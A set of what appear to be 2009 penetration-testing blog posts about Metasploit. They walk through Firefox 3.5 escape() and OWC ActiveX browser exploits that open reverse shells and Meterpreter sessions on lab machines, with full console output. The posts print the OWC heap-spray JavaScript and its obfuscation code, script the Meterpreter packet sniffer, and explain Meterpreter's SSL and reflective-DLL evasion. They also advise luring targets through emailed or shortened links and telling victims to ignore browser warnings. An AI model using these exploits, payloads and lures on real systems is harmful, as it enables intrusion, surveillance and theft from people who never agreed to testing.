Metasploit Firefox 3.5 Escape () Value Exploit has been Improved

The exploit that was covered recently in an earlier blog post on the Firefox 3.5 escape () value memory corruption exploit that worked against Windows XP, this exploit has now been expanded to now cover OSX 10.5.7 and it has been improved so no script problem message is shown to the user requiring interaction by him. For use against an OSX target the attack might look something like this:

carlos@loki:~/svn/msf3-dev$ sudo nc -vv -l -p 80
[sudo] password for carlos: 
listening on [any] 80 ...
connect to [192.168.1.158] from carlos-perezs-computer.local [192.168.1.120] 58924
GET / HTTP/1.1
Host: 192.168.1.158
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1) Gecko/20090624 Firefox/3.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
^C sent 0, rcvd 370

Here the target was trick initially to connect to a Netcat listener so we could look at the User Agent string to identify the target OS and Browser, this could have been also easily done creating a fake webpage and having the victim connect and look at the logs or a sniffer capture. We continue by launching Metasploit, selecting the exploit, payload and setting the proper target:

carlos@loki:~/svn/msf3-dev$ sudo ./msfconsole
                __.                       .__.        .__. __.
  _____   _____/  |______    ____________ |  |   ____ |__|/  |_
 /     \_/ __ \   __\__  \  /  ___/\____ \|  |  /  _ \|  \   __\
|  Y Y  \  ___/|  |  / __ \_\___ \ |  |_> >  |_(  <_> )  ||  |
|__|_|  /\___  >__| (____  /____  >|   __/|____/\____/|__||__|
      \/     \/          \/     \/ |__|
       =[ msf v3.3-dev
+ -- --=[ 384 exploits - 261 payloads
+ -- --=[ 20 encoders - 7 nops
       =[ 166 aux
msf > use exploit/multi/browser/firefox_escape_retval
msf exploit(firefox_escape_retval) >  show targets
Exploit targets:
   Id  Name                                      
   --  ----                                      
   0   Firefox 3.5.0 on Windows XP SP0-SP3       
   1   Firefox 3.5.0 on Mac OS X 10.5.7 (Intel)  
msf exploit(firefox_escape_retval) > set TARGET 1
TARGET => 1
msf exploit(firefox_escape_retval) > set PAYLOAD osx/x86/vforkshell_reverse_tcp
PAYLOAD => osx/x86/vforkshell_reverse_tcp
msf exploit(firefox_escape_retval) > set LHOST 192.168.1.158
LHOST => 192.168.1.158

As it can be seen the payload selected was the vforkshell and one of the main advantages of this shell is that since it uses the vfork() Unix call to spawn it self it does not run under the process exploited so when the target kills the hanged browser we do not loose our shell access. Since we launched the exploit as root we can change the port to listen for the exploit to port 80 making it easier to exploit a target behind a Proxy or Firewall, change the URI path to one less suspicious and launch the exploit:

msf exploit(firefox_escape_retval) > set SRVPORT 80
SRVPORT => 80
msf exploit(firefox_escape_retval) > set URIPATH secretdocumets.html
URIPATH => secretdocumets.html
msf exploit(firefox_escape_retval) > exploit
[*] Exploit running as background job.
msf exploit(firefox_escape_retval) > 
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Using URL: http://0.0.0.0:80/secretdocumets.html
[*]  Local IP: http://192.168.1.158:80/secretdocumets.html
[*] Server started.

Once the targets connects to our exploit it will launch the exploit javascript code with the payload:

[*] Sending Firefox 3.5 escape() Return Value Memory Corruption to 192.168.1.120:52760...
[*] Command shell session 1 opened (192.168.1.158:4444 -> 192.168.1.120:52770)

Once the shell is created we can interact with it, one important thing to remember is that environment variables set for the shell are the ones for the process exploited so we will have to use full path when calling certain commands:

msf exploit(firefox_escape_retval) > sessions -l
Active sessions
===============
  Id  Description    Tunnel                                     
  --  -----------    ------                                     
  1   Command shell  192.168.1.158:4444 -> 192.168.1.120:52770  
msf exploit(firefox_escape_retval) > sessions -i 1
[*] Starting interaction with 1...
id
uid=501(labuser) gid=501(labuser) groups=501(labuser),98(_lpadmin),81(_appserveradm),79(_appserverusr),80(admin)
uname -a
Darwin testmac.local 9.7.0 Darwin Kernel Version 9.7.0: Tue Mar 31 22:52:17 PDT 2009; root:xnu-1228.12.14~1/RELEASE_I386 i386
env
PWD=/sbin
SHLVL=1
_=/usr/bin/env
OLDPWD=/bin
/sbin/ifconfig
lo0: flags=8049<UP,LOOPBACK,RUNNING,MULTICAST> mtu 16384
	inet6 fe80::1%lo0 prefixlen 64 scopeid 0x1 
	inet 127.0.0.1 netmask 0xff000000 
	inet6 ::1 prefixlen 128 
gif0: flags=8010<POINTOPOINT,MULTICAST> mtu 1280
stf0: flags=0<> mtu 1280
en0: flags=8863<UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST> mtu 1500
	ether 00:16:cb:9f:9e:11 
	media: autoselect status: inactive
	supported media: autoselect 10baseT/UTP <half-duplex> 10baseT/UTP <full-duplex> 10baseT/UTP <full-duplex,hw-loopback> 10baseT/UTP <full-duplex,flow-control> 100baseTX <half-duplex> 100baseTX <full-duplex> 100baseTX <full-duplex,hw-loopback> 100baseTX <full-duplex,flow-control> 1000baseT <full-duplex> 1000baseT <full-duplex,hw-loopback> 1000baseT <full-duplex,flow-control> none
fw0: flags=8802<BROADCAST,SIMPLEX,MULTICAST> mtu 2030
	lladdr 00:17:f2:ff:fe:71:a7:b4 
	media: autoselect <full-duplex> status: inactive
	supported media: autoselect <full-duplex>
en1: flags=8863<UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST> mtu 1500
	inet6 fe80::217:f2ff:fe99:d7cf%en1 prefixlen 64 scopeid 0x6 
	inet 192.168.1.120 netmask 0xffffff00 broadcast 192.168.1.255
	ether 00:17:f2:99:d7:cf 
	media: autoselect status: active
	supported media: autoselect
en4: flags=8863<UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST> mtu 1500
	ether 00:16:cb:33:3e:50 
	media: autoselect status: inactive
	supported media: none autoselect 10baseT/UTP <half-duplex>
vmnet8: flags=8863<UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST> mtu 1500
	inet 192.168.187.1 netmask 0xffffff00 broadcast 192.168.187.255
	ether 00:50:56:c0:00:08 
vmnet1: flags=8863<UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST> mtu 1500
	inet 192.168.38.1 netmask 0xffffff00 broadcast 192.168.38.255
	ether 00:50:56:c0:00:01 
exit
[*] Command shell session 1 closed.

This exploit will be added to the Browser Autopwn module in Metasploit after Defcon 17.

Automating the Meterpreter Sniffer Module Part 1

Automating post exploitation as much as possible with out risking losing any data or putting at risk the availability of the targeted host is very important for any pentester. I would like share how I would automate the Meterpreter Sniffer Module by scripting the recording of all packets captured by the new sniffer module. This post will require some Ruby and programming knowledge to get the most value from it, I recommend for anyone starting the Pragmatic Ruby and to read the Metasploit Documentation,  I tend to start by understanding the API calls for the module and what better way than using the irb shell in Meterpreter for this specific module we can read the Module Command Dispatcher code. To access the irb (Interactive Ruby Shell) in Meterpreter we simply issue the irb command:

meterpreter > irb
[*] Starting IRB shell
[*] The 'client' variable holds the meterpreter client
>>

 

Once in the shell I load the module using the Rex API call for the Core System:

>> client.core.use("sniffer")
=> true
>>

 

The above output shows the Boolean confirmation that the module was loaded. We know proceed to list the interfaces, this is done using the client.sniffer.interfaces() API call:

>> client.sniffer.interfaces()
=> [{"name"=>"\\Device\\{DFB388B6-0F0F-4A3A-B264-B1D95D9762AD}", "mtu"=>1514, "usable"=>true, "type"=>0, "idx"=>1, "dhcp"=>true, "wireless"=>false, "description"=>"VMware Accelerated AMD PCNet Adapter"}]
>>

 

W can see that it returned all the interface information, if you need to know the class of the information returned for when you script this you can just put a .class at the end to see what is the returning class of the value returned:

>> client.sniffer.interfaces().class
=> Array
>> client.sniffer.interfaces().each do |i|
?> puts i.class
>> end
Hash
=> [{"name"=>"\\Device\\{DFB388B6-0F0F-4A3A-B264-B1D95D9762AD}", "mtu"=>1514, "usable"=>true, "type"=>0, "idx"=>1, "dhcp"=>true, "wireless"=>false, "description"=>"VMware Accelerated AMD PCNet Adapter"}]
>>

We get returned an Array, and when we iterate thru we see that each member of the array where the interface information is given is a Hash. This means you can get from each interface any piece information contained in the hash by asking for the key of the piece of information I’m looking for:

>> client.sniffer.interfaces().each do |i|
?> puts i['description']
>> end
VMware Accelerated AMD PCNet Adapter
=> [{"name"=>"\\Device\\{DFB388B6-0F0F-4A3A-B264-B1D95D9762AD}", "mtu"=>1514, "usable"=>true, "type"=>0, "idx"=>1, "dhcp"=>true, "wireless"=>false, "description"=>"VMware Accelerated AMD PCNet Adapter"}]
>>

Here you can see I asked for hash key “description” and this gave me the description of the interface. Now that I have this info I can proceed to start the capture, this is achieved by using the client.sniffer.capture_start(intf, maxp) API call, this call accepts 2 values the first one is the interface index whish if we look at the Hash that we get with the Interface information is the “idx” key, the next value is the maximum number of packets to store in the buffer, both of this values are Integer:

>> client.sniffer.capture_start(1, 200000)
=> #<Rex::Post::Meterpreter::Packet:0xb679244c @tlvs=[#<Rex::Post::Meterpreter::Tlv:0xb6792028 @value="sniffer_capture_start", @type=65537>, #<Rex::Post::Meterpreter::Tlv:0xb6791f10 @value="39088353728762718472713126289025", @type=65538>, #<Rex::Post::Meterpreter::Tlv:0xb6791dbc @value=0, @type=131076>], @type=1>
>>

 

After running the API call the TLV command to the module to start the capture. Now after generating some traffic we what to know how many packets and the size of the capture we have so far, this is achieved by using the client.sniffer.capture_stats(intf) API call where we give it the interface index as an Integer:

>> client.sniffer.capture_stats(1)
=> {:bytes=>401107, :packets=>870}
>> client.sniffer.capture_stats(1).class
=> Hash
>>

 

We get a Hash value back where we can tell by each of the key names of the hash what information are we getting back, the number of packets and the number of bytes captured. Know we want to clear the buffer and retrieve the captured information, this is done with the client.sniffer.capture_dump(intf) where we get the buffer information and the clear it. To read the data we use the client.sniffer.capture_dump_read(intf,1024*512) We pass to both API call the interface index and on the read the amount of data to read (512k) at a time:

>> res = client.sniffer.capture_dump(1)
=> {:bytes=>1504, :packets=>16}
>> res = client.sniffer.capture_dump_read(1,1024*512)
=> {:bytes=>1504, :data=>"\000\000\000\000\000\000\000\005\001\312\003!\253J\236\236\000\000\000J\000\f)Ek/\000\f)\261\353\026\b\000E\000\000<\001(\000\000\200\001\000\000\n\n\n\003\004\002\002\002\b\000?\\\002\000\f\000abcdefghijklmnopqrstuvwabcdefghi\000\000\000\000\000\000\000\006\001\312\003!\253V\212`\000\000\000J\000\f)\261\353\026\000\f)Ek/\b\000E\000\000<\204\314\000\0000\001\353\344\004\002\002\002\n\n\n\003\000\000G\\\002\000\f\000abcdefghijklmnopqrstuvwabcdefghi\000\000\000\000\000\000\000\a\001\312\003!\253\3435\036\000\000\000J\000\f)Ek/\000\f)\261\353\026\b\000E\000\000<\001)\000\000\200\001\000\000\n\n\n\003\004\002\002\002\b\000>\\\002\000\r\000abcdefghijklmnopqrstuvwabcdefghi\000\000\000\000\000\000\000\b\001\312\003!\253\352\\,\000\000\000J\000\f)\261\353\026\000\f)Ek/\b\000E\000\000<u\265\000\000/\001\373\373\004\002\002\002\n\n\n\003\000\000F\\\002\000\r\000abcdefghijklmnopqrstuvwabcdefghi\000\000\000\000\000\000\000\t\001\312\003!\254{\313\236\000\000\000J\000\f)Ek/\000\f)\261\353\026\b\000E\000\000<\001*\000\000\200\001\000\000\n\n\n\003\004\002\002\002\b\000=\\\002\000\016\000abcdefghijklmnopqrstuvwabcdefghi\000\000\000\000\000\000\000\n\001\312\003!\254\202\362\254\000\000\000J\000\f)\261\353\026\000\f)Ek/\b\000E\000\000<\003\221\000\000/\001n \004\002\002\002\n\n\n\003\000\000E\\\002\000\016\000abcdefghijklmnopqrstuvwabcdefghi\000\000\000\000\000\000\000\v\001\312\003!\255\024b\036\000\000\000J\000\f)Ek/\000\f)\261\353\026\b\000E\000\000<\001+\000\000\200\001\000\000\n\n\n\003\004\002\002\002\b\000<\\\002\000\017\000abcdefghijklmnopqrstuvwabcdefghi\000\000\000\000\000\000\000\f\001\312\003!\255\e\211,\000\000\000J\000\f)\261\353\026\000\f)Ek/\b\000E\000\000<\030\254\000\000/\001Y\005\004\002\002\002\n\n\n\003\000\000D\\\002\000\017\000abcdefghijklmnopqrstuvwabcdefghi\000\000\000\000\000\000\000\r\001\312\003!\256\345L\254\000\000\000J\000\f)Ek/\000\f)\261\353\026\b\000E\000\000<\001\255\000\000\200\001\000\000\n\n\n\003\004\002\002\002\b\000;\\\002\000\020\000abcdefghijklmnopqrstuvwabcdefghi\000\000\000\000\000\000\000\016\001\312\003!\256\356\326\024\000\000\000J\000\f)\261\353\026\000\f)Ek/\b\000E\000\000<X\363\000\000/\001\030\276\004\002\002\002\n\n\n\003\000\000C\\\002\000\020\000abcdefghijklmnopqrstuvwabcdefghi\000\000\000\000\000\000\000\017\001\312\003!\257\200E\206\000\000\000J\000\f)Ek/\000\f)\261\353\026\b\000E\000\000<\001\256\000\000\200\001\000\000\n\n\n\003\004\002\002\002\b\000:\\\002\000\021\000abcdefghijklmnopqrstuvwabcdefghi\000\000\000\000\000\000\000\020\001\312\003!\257\211\316\356\000\000\000J\000\f)\261\353\026\000\f)Ek/\b\000E\000\000<\271\234\000\0000\001\267\024\004\002\002\002\n\n\n\003\000\000B\\\002\000\021\000abcdefghijklmnopqrstuvwabcdefghi\000\000\000\000\000\000\000\021\001\312\003!\260\035\240\272\000\000\000J\000\f)Ek/\000\f)\261\353\026\b\000E\000\000<\001\257\000\000\200\001\000\000\n\n\n\003\004\002\002\002\b\0009\\\002\000\022\000abcdefghijklmnopqrstuvwabcdefghi\000\000\000\000\000\000\000\022\001\312\003!\260$\307\310\000\000\000J\000\f)\261\353\026\000\f)Ek/\b\000E\000\000<\321\257\000\0000\001\237\001\004\002\002\002\n\n\n\003\000\000A\\\002\000\022\000abcdefghijklmnopqrstuvwabcdefghi\000\000\000\000\000\000\000\023\001\312\003!\260\270\231\224\000\000\000J\000\f)Ek/\000\f)\261\353\026\b\000E\000\000<\001\260\000\000\200\001\000\000\n\n\n\003\004\002\002\002\b\0008\\\002\000\023\000abcdefghijklmnopqrstuvwabcdefghi\000\000\000\000\000\000\000\024\001\312\003!\260\277\300\242\000\000\000J\000\f)\261\353\026\000\f)Ek/\b\000E\000\000<\244\262\000\000/\001\314\376\004\002\002\002\n\n\n\003\000\000@\\\002\000\023\000abcdefghijklmnopqrstuvwabcdefghi"}
>>

Now that we have seen the captured data we stop the capture all together by using the client.sniffer.capture_stop(intf) API call where we again pass the interface index as a value:

>> client.sniffer.capture_stop(1)
=> #<Rex::Post::Meterpreter::Packet:0xb69e382c @tlvs=[#<Rex::Post::Meterpreter::Tlv:0xb69e2aa8 @value="sniffer_capture_stop", @type=65537>, #<Rex::Post::Meterpreter::Tlv:0xb69e2968 @value="53778635515875175792402459228002", @type=65538>, #<Rex::Post::Meterpreter::Tlv:0xb69e2774 @value=0, @type=131076>], @type=1>
>>

Firefox 3.5 escape() Return Value Memory Corruption Metasploit Exploit

Metasploit has released an exploit for Mozilla Firefox version 3.5 Tracemonkey components of Firefox's javascript rendering engine. The bug is covered in in Mozilla’s Bugzilla as bug 503286. The first public exploit seen was in Milw0rm by the author SBerry aka Simon Berry-Byrne, he gives thanks to HD for his help in writing the exploit code which was later converted by HD in to a Metasploit module.  The main exploit code is a javascript generated with the selected payload and then encoded to make it more difficult to be detected by HIPS, IPS and IDS systems. A way to use this module would be running msfconsole as root so as to be able to use low ports for our listeners:

carlos@loki:~/svn/msf3-dev$ sudo ./msfconsole
[sudo] password for carlos:
                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##
       =[ msf v3.3-dev
+ -- --=[ 384 exploits - 261 payloads
+ -- --=[ 20 encoders - 7 nops
       =[ 166 aux
msf >

We then select the exploit and a Meterpreter reverse TCP shell:

msf > use exploit/multi/browser/firefox_escape_retval
msf exploit(firefox_escape_retval) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp

We take a look at the options available:

msf exploit(firefox_escape_retval) > show options
Module options:
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host to listen on.
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Use SSL
   URIPATH                   no        The URI to use for this exploit (default is random)
Payload options (windows/meterpreter/reverse_tcp):
   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique: seh, thread, process
   LHOST                      yes       The local address
   LPORT     4444             yes       The local port
Exploit target:
   Id  Name
   --  ----
   0   Firefox 3.5.0 on Windows XP SP0-SP3

A recommended way of attacking would be to set the port for the exploit to port 80 since this is the default port for HTTP which will be the protocol we will use to exploit the browser, we will set a friendly URI path:

msf exploit(firefox_escape_retval) > set SRVPORT 80
SRVPORT => 80
msf exploit(firefox_escape_retval) > set URIPATH secret.html
URIPATH => secret.html

For the payload we will set the local host from where we are lunching the attack and to where we want the target to connect back to, we choose port 443 the default port for HTTPS since the chances of this port being open in most environments tend to be high:

msf exploit(firefox_escape_retval) > set LHOST 192.168.1.158
LHOST => 192.168.1.158
msf exploit(firefox_escape_retval) > set LPORT 443
LPORT => 443

Now the exploit is ran and it will listen for the targets connection:

msf exploit(firefox_escape_retval) > exploit
[*] Exploit running as background job.
msf exploit(firefox_escape_retval) >
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Using URL: http://0.0.0.0:80/secret.html
[*]  Local IP: http://192.168.1.158:80/secret.html
[*] Server started.

We craft our email or other type of message for the target to read and we inform him that he might get a popup stating that the script may have hanged and to just click continue since is normal. The message that will appear at the target will be something similar to this:

winxplab01-2009-07-14-21-01-34

When the client click on the link the exploit will be deployed with the payload:

[*] Sending Firefox 3.5 escape() Return Value Memory Corruption to 192.168.1.139:1046...
[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
[*] Sending stage (718336 bytes)
[*] Meterpreter session 1 opened (192.168.1.158:443 -> 192.168.1.139:1047)
msf exploit(firefox_escape_retval) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer: WINXPLAB01
OS      : Windows XP (Build 2600, Service Pack 2).

 

Since the browser window will hang and might be closed by the target it is important to migrate of that process as quickly as possible so we run the migrate script:

 

meterpreter > run migrate
[*] Migrating to lsass.exe...
[*] Current server process: firefox.exe (1800)
[*] New server process: lsass.exe (684)
meterpreter > sysinfo
Computer: WINXPLAB01
OS      : Windows XP (Build 2600, Service Pack 2).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

 

This exploit differs from the latest ones made public for IE ActiveX controls since this exploit may require some additional steps to be conducted by the target system to be able to get a shell back. This exploit only works at the moment of this writing for Windows XP SP0 – SP3 with Firefox 3.5.0 and in testing it was found that it did not worked 100% of the time since several tries where needed on some of the labs machines while others worked on the first try.

A way to mitigate this attack would be to change in Firefox by entering in the address bar the about:config and changing the parameter for javascript.options.jit.content or simply using the NoScript add-on. The mitigation on a large enterprise will be difficult do to that a GPO (Group Policy Object) can not be pushed to client and logging script is one of the alternatives that will have to be used to mitigate the risk. 

Metasploit OWC ActiveX Exploit

HD Moore has released another IE 0 day Metasploit Exploit Module in less than 2 weeks The Office Web Component Exploit in Metasploit committed to the Dev 3.3 SVN will attack this vulnerability on:

  • Windows XP SP0 to SP3 with IE6 or IE7 with Office XP or Office 2003 Installed

The exploit will exploit in specific the spreadsheet component of the ActiveX. the code for the whole exploit can be seen in trac.metasploit.com

Here is a brief description of the main parts of the code that make this exploit. The exploit as done in Metasploit will create a encode key for the java payload:

@javascript_encode_key = rand_text_alpha(rand(10) + 10)

Then when a URI request is done against the listening exploit the Java code is encoded and presented to the target making this exploit very hard to detect by HIPS, IDS, AV and IPS alike. The main body of Javascript code is:

shellcode = Rex::Text.to_unescape(p.encoded)
retaddr   = Rex::Text.to_unescape([target.ret].pack('V'))
js = %Q|
		var xshellcode = unescape("#{shellcode}");
		var xarray = new Array();
		var xls = 0x81000-(xshellcode.length*2);
		var xbigblock = unescape("#{retaddr}");
		while( xbigblock.length < xls / 2) { xbigblock += xbigblock; }
		var xlh = xbigblock.substring(0, xls / 2);
		delete xbigblock;
		for(xi=0; xi<0x99*2; xi++) {
				xarray[xi] = xlh + xlh + xshellcode;
		}
		CollectGarbage();
		var xobj = new ActiveXObject("OWC10.Spreadsheet");
		xe = new Array();
		xe.push(1);
		xe.push(2);
		xe.push(0);
		xe.push(window);
		for(xi=0;xi<xe.length;xi++){
				for(xj=0;xj<10;xj++){
						try { xobj.Evaluate(xe[xi]); } catch(e) { }
				}
		}
		window.status = xe[3] + '';
		for(xj=0; xj<10; xj++){
				try{ xobj.msDataSourceObject(xe[3]); } catch(e) { }
		}
|

Then this payload is encoded with the key and presented to the target:

# Obfuscate it up a bit
encoded_js = obfuscate_js(js,
		'Symbols' =>
				{
						'Variables' => %W{ xshellcode xarray xls xbigblock xlh xi xobj xe xj}
				})
# Encode the javascript payload
# encoded_js = encrypt_js(encoded_js, @javascript_encode_key)
# Fire off the page to the client
send_response(cli, "<html><script language='javascript'>#{encoded_js}</script></html>")
# Handle the payload
handler(cli)

To use the exploit we must load the exploit at the msfconsole, for this example the console will be ran as root since we want to use port 80 for the exploit handler to listen to, this will help by using the default port 80 port for when doing directed attacks and there might be some filtering on the target network, we set the exploit and payload:

carlos@loki:~/svn/msf3-dev$ sudo ./msfconsole
[sudo] password for carlos:
                                  _
                                 | |      o
 _  _  _    _ _|_  __,   ,    _  | |  __    _|_
/ |/ |/ |  |/  |  /  |  / \_|/ \_|/  /  \_|  |
  |  |  |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
                           /|
                           \|
       =[ msf v3.3-dev
+ -- --=[ 384 exploits - 261 payloads
+ -- --=[ 20 encoders - 7 nops
       =[ 166 aux
msf > use exploit/windows/browser/owc_spreadsheet_msdso
msf exploit(owc_spreadsheet_msdso) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(owc_spreadsheet_msdso) > set LHOST 192.168.1.158
LHOST => 192.168.1.158

Know we take a look at the other options we have available for this module and we change the port to listen on to 80:

msf exploit(owc_spreadsheet_msdso) > show options
Module options:
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host to listen on.
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Use SSL
   URIPATH                   no        The URI to use for this exploit (default is random)
Payload options (windows/meterpreter/reverse_tcp):
   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, process
   LHOST     192.168.1.158    yes       The local address
   LPORT     4444             yes       The local port
Exploit target:
   Id  Name
   --  ----
   0   Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0
msf exploit(owc_spreadsheet_msdso) > set SRVPORT 80
SRVPORT => 80

We know launch the exploit and make sure no errors are reported:

msf exploit(owc_spreadsheet_msdso) > exploit
[*] Exploit running as background job.
msf exploit(owc_spreadsheet_msdso) >
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Using URL: http://0.0.0.0:80/4fwmCRO
[*]  Local IP: http://192.168.1.158:80/4fwmCRO
[*] Server started.

We can now send and email, tweet with URL shortened or any other method od delivery of the address to the target. Once the exploit is ran we must quickly migrate off the process since IE will hang and a user might kill the process destroying our shell:

[*] Sending Microsoft OWC Spreadsheet msDataSourceObject Memory Corruption to 192.168.1.139:1067...
[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
[*] Sending stage (718336 bytes)
[*] Meterpreter session 1 opened (192.168.1.158:4444 -> 192.168.1.139:1068)
msf exploit(owc_spreadsheet_msdso) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > run migrate
[*] Migrating to lsass.exe...
[*] Current server process: iexplore.exe (1328)
[*] New server process: lsass.exe (684)
meterpreter >
meterpreter > sysinfo
Computer: WINXPLAB01
OS      : Windows XP (Build 2600, Service Pack 2).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

 

This exploit should be done after the enumeration of the target network, preferably using metadata on documents using tools like FOCA or Metagoofil to detect the Office and OS to create the files and with this information target the attack.

UPDATE: HD Made some changes to the code removing the obfuscation since there appears to be some problems with encrypt_js and this specific exploit, either way I believe that the code description is useful for anyone looking at learning how to write exploit in Metasploit.

Meterpreter Stealthier than Ever

In the development version of Metasploit 3.3 the Meterpreter payload now uses SSL encryption for all of its TLV (Type-Length-Value) formatted commands and for the loading of modules. In addition to this, it now uses Reflective DLL injection to load itself and modules making it now stealthier than ever!

The Meterpreter payload is currently very stealthy being a payload injected into a current process in memory not writing any of its function to disk. Everything is done in memory so a forensic analysis of what happened tends to be difficult unless the memory is dumped and analyzed for the presence of the code.  I typically use it in Windows API mode so the detection of the calls are also difficult.  Now with the addition of Reflective DLL Injection its detection is even more difficult.  To top it all off, SLL is now used for all connections, this means detection via traffic analysis also becomes more difficult.

Meterpreter is now encrypting of all of its traffic using the OpenSSL Library this includes:

      • Loading of Modules (stdapi, incognito, priv, sniffer …etc)
      • TLV Commands
      • Session Traffic
      • Migration

 

Meterpreter as of this writing uses a 1024-bit RSA + SHA1 for the initial keying, then AES-256 or similar once the session key is negotiated. The initial stages of the loading of Meterpreter are not encrypted and susceptible to detection by an IPS or IDS but once loaded, all traffic is secure with TLSv1. Current work is being done to encode the initial stages and modules to make the loading even harder to detect. The traffic can still be MITM since no check for certificate is implemented but the chances for an attacker to be listening on the specific port at the time of the exploit are low, but still possible. This gives the advantage of reducing chances of detection by a IPS/IDS system and secures data in transit which is of great importance for a Pentester since the data of a client is transmitted in encrypted form.

All Meterpreter payload use the Reflecive DLL injection technique as default.  Under the Windows platform, library injection techniques both local and remote have been around for many years.  The original technique as introduced in Meterpreter by Skape employs shellcode to patch the host processes ntdll library at run time and forces the native Windows loader to load a Dynamic Link Library (DLL) image from memory, this DLL is registered with the process so a query for loaded modules of each process will show the loaded DLL. By using programs such as Process Explorer from Winternals or even the tasklist command with the /m switch to show modules one was able to detect the Meterpreter DLL in memory. Reflective  DLL   injection is a library injection technique in which the concept of reflective programming is employed to perform the loading of a library from memory into a host process. As such, the library is responsible for loading itself by implementing a minimal Portable Executable (PE) file loader.   The main advantage of the Meterpreter library  and its modules loading itself is that it is not registered in any way with the host system and as a result is largely undetectable at both a system and process level. For a defender to detect the presence of Meterpreter, they would have to do an examination of the host memory looking for a piece of memory marked as readable, writable, and executable and then check this memory address for the presence of Meterpreter which it is not a fast and resource light task.  Another method of detection is through the network traffic, but a crafty attacker can inject itself into a process where the traffic patter will not be seen out of the ordinary and with the addition of SSL encryption this becomes a even harder task.

Meterpreter has really come a long way and it keeps improving, making it one of the best payloads for use as exploit or trojan during penetration tests.